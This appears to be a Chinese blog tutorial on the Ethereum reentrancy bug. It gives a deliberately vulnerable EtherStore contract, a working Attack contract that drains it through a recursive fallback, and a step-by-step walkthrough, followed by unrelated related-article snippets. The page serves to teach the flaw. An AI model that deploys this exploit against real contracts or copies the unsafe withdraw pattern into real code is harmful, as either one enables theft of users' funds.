重入漏洞EtherStore

news/2025/1/18 6:06:34/

重入漏洞

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;contract EtherStore {mapping(address => uint) public balances;function deposit() public payable {balances[msg.sender] += msg.value;}function withdraw() public {uint bal = balances[msg.sender];require(bal > 0);(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");balances[msg.sender] = 0;}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) {etherStore = EtherStore(_etherStoreAddress);}// Fallback is called when EtherStore sends Ether to this contract.fallback() external payable {if (address(etherStore).balance >= 1 ether) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}();etherStore.withdraw();}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}

这个被攻击的EtherStore合约,可以用来depositwithdraw以太币。withdraw函数的基本逻辑是:

  • 判断sender的余额是否大于0,是的话下一步;
  • 使用call方法给sender发送合约里属于sender所有的余额,成功发送的话下一步;
  • 将合约中属于sender的余额值清零。

在攻击合约Attack合约中,先看attack函数,基本逻辑就是先调用deposit存入1个以太,再调用withdraw取出。然而关键的代码在fallback函数中,这个fallback函数会先检测被攻击合约EtherStore的余额,如果大于1个以太,就执行withdraw
在这里插入图片描述
知道这些概念后,就可以演示攻击过程了:

  • 1.假设EtherStore合约中有10个ETH的余额;
  • 2.攻击者点击attack函数,先执行deposit于是攻击者就存入了1个ETH,接下来执行withdraw,withdraw函数前两行成功通过,开始使用call函数发送属于sender(这里是Attack合约)的余额;
  • 3.Attack合约收到余额后,根据我们上图所示,先看msg.data是否为空?是;receive是否存在?否;于是进入fallback函数;
  • 4.fallback函数中,先检测EtherStore的余额,这里应当是10 - 1 = 9 Ether,通过,于是又执行withdraw;
  • 5.withdraw函数先检测前两行,(注意,这是攻击过程的关键点!)属于sender的余额为不为0呢?答案是不为0,仍然能通过,因为上次执行withdraw函数,其实还停留在call发送Ether的那一步,下一步还没有执行,EtherStore中的balance值还没有更新,因此这里还是能通过,继续执行到下一个call发送余额,这样又把合约余额发送过去了;
  • 6.Attack合约的fallback函数又开始重复withdraw,一直等到EtherStore合约中的余额为0,Attack合约的fallback函数不能通过余额检测的时候,整个提取过程才会停止。
  • 7.执行完成,被攻击合约的所有10个ETH都被发送到了被攻击合约Attack上了。

这里的例子,Attack合约其实用receive函数也是可以的,而且合约里是可以有单独的receive函数,但是单独的fallback函数就会报warning。


http://www.ppmy.cn/news/1173467.html

相关文章

微信小程序不能使用本地图片当背景图片的解决方法

解决方法1:使用image组件,这个src就可以引用本地图片 解决方法2:使用网络路径 解决方法3:base64转码

python小脚本用于接受你输入的第一个参数并打印该值

#!/usr/bin/env python # -*- coding:utf-8 -*- import sysdef main():var1 sys.argv[1];result "u input: %s" % var1print resultif __name__ __main__:main()

关于利用webase-front节点控制台一键导出的java项目解析

搭建区块链系统和管理平台分别用的的fisco、webase。 关于我们在利用java开发DApp(去中心化引用),与区块链系统交互,可以用: 1.webase前置服务给开发者提供的api:我们在搭建好fisco链之后,在搭一个webase-front服务,我…

C#实现对数据库字节数组判断

/// <summary>/// 判断字节数组是否为空&#xff0c;空返回false 不为空true/// </summary>/// <param name"object1"></param>/// <returns>判断字节数组object1是否为空&#xff0c;空返回false 不为空true</returns>public s…

吃瓜教程2|线性模型

线性回归 “广义的线性模型”&#xff08;generalized linear model&#xff09;&#xff0c;其中&#xff0c;g&#xff08;*&#xff09;称为联系函数&#xff08;link function&#xff09;。 线性几率回归&#xff08;逻辑回归&#xff09; 线性判别分析 想让同类样本点的…

设计模式(13)适配器模式

一、介绍&#xff1a; 1、定义&#xff1a;是一种结构型设计模式&#xff0c;它可以将一个类的接口转换成客户端所期望的另一种接口。适配器模式常用于系统的不兼容性问题。 2、组成&#xff1a; &#xff08;1&#xff09;目标接口&#xff08;Target&#xff09;&#xff…

MySQL update 是锁行还是锁表?

事务竞争 在多个事务并行对同一个数据进行修改的时候&#xff0c;会产生事务的竞争造成脏读、幻读、不可重复读等问题。所以 Mysql 为了避免这类问题的出现&#xff0c;引入了事务隔离级别&#xff0c;其实本质上来说&#xff0c;最终解决的方式无非就是 LBCC 和 MVCC 两种。 …

Java将djvu文件转成pdf

需求来源 迫于有部分资源是djvu格式的文件&#xff0c;需要预览这部分文件&#xff0c;web端无法直接预览djvu&#xff0c;所以需要将djvu转成pdf。 转换方法 简单来说就是先把djvu文件转换成tiff文件&#xff0c;再将tiff文件转换成pdf文件。 Ubuntu服务器 如果服务器是U…